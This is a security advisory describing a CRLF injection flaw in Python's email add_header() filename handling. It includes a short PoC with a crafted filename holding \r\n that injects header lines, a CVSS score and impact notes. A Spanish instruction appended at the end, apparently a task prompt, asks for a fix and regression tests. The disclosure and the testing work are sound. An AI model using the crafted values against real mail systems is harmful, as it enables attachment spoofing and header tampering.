CRLF Injection vulnerability in "email.mime.multipart" > "MIMEMultipart" > "add_header()"

Summary

I found CRLF Injection ( File Content Injection / (Potential) Tampering file extension ) Vulnerability in email.mime.multipart > class MIMEMultipart > add_header().

This problem is caused by the lack of escaping of "filename" in Multipart > Mail.
Normally, the following three characters are escaped

• \r --> \\r
• \n --> \\n
• " --> \"
  However, the method in question does not escape \r\n
  ( " (double-quote) is escaped. " --> \" )

Therefore, if a crafted file name is inserted, CRLF Injection will occur in the Content-Disposition header of multipart body.

My calculated CVSS:
Score: 3.1 (Low)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N

---

PoC:

OS: macOS Monterey (v12.6.1)
Python ver: v3.10.3
PoC Code:
(please edit filepath)

from email.mime.application import MIMEApplication
def main():
  filepath = "/Users/XXXXXXXXXX/Desktop/example.txt"
  # If \r\n (CRLF) is present, the file will fail to load (on mac OS).
  with open(filepath, "rb") as f:
    mb = MIMEApplication(f.read())
  disposition_filename = "malicious_test.sh\r\n.txt"
  # If \r\n (CRLF) is present, the contents of the file can be Injected.
  mb.add_header("Content-Disposition", "attachment", filename=disposition_filename)
  print(mb)
if __name__ == '__main__':
  main()

Output:

Content-Type: application/octet-stream
MIME-Version: 1.0
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="malicious_test.sh
.txt"
IyEvYmluL2Jhc2gKCmVjaG8gImhlbGxvIg==

Injected Line:

Content-Disposition: attachment; filename="malicious_test.sh
.txt"

---

Affect

This problem is very limited.
The reason for this is that if [ \r, \n ] are included when a file is opened, an Exception will be thrown.

with open(filepath, "rb") as f:

However, it is not always safe to do so, since the file name may be given by an external parameter, DB, etc.
In addition, data can be added to the header content within Multipart, allowing for a variety of attacks.

It may be possible to insert multiple Content-Dispositions, falsify the filename, or inject malicious shell code after making the file .sh .

---

Reference:

As far as I can tell, the following service systems escape [ \r \n " ] to [ \\r \\n \" ]

• Gmail
• Thunderbird
• mailer (Mac OS default mail client)
• PHPMailer (Most famous PHP Mail library https://github.com/PHPMailer/PHPMailer)

---

The Python PSRT team has agreed to published this information.

Comienza en la ruta de email.mime.multipart MIMEMultipart.add_header() y reproduce la PoC proporcionada con un filename que contenga CRLF. Rastrea cómo se serializa el filename en la cabecera Content-Disposition y, después, añade cobertura de regresión para el comportamiento indicado; se considera terminado cuando un CRLF diseñado no puede crear líneas de cabecera adicionales y el comportamiento MIME existente permanece intacto.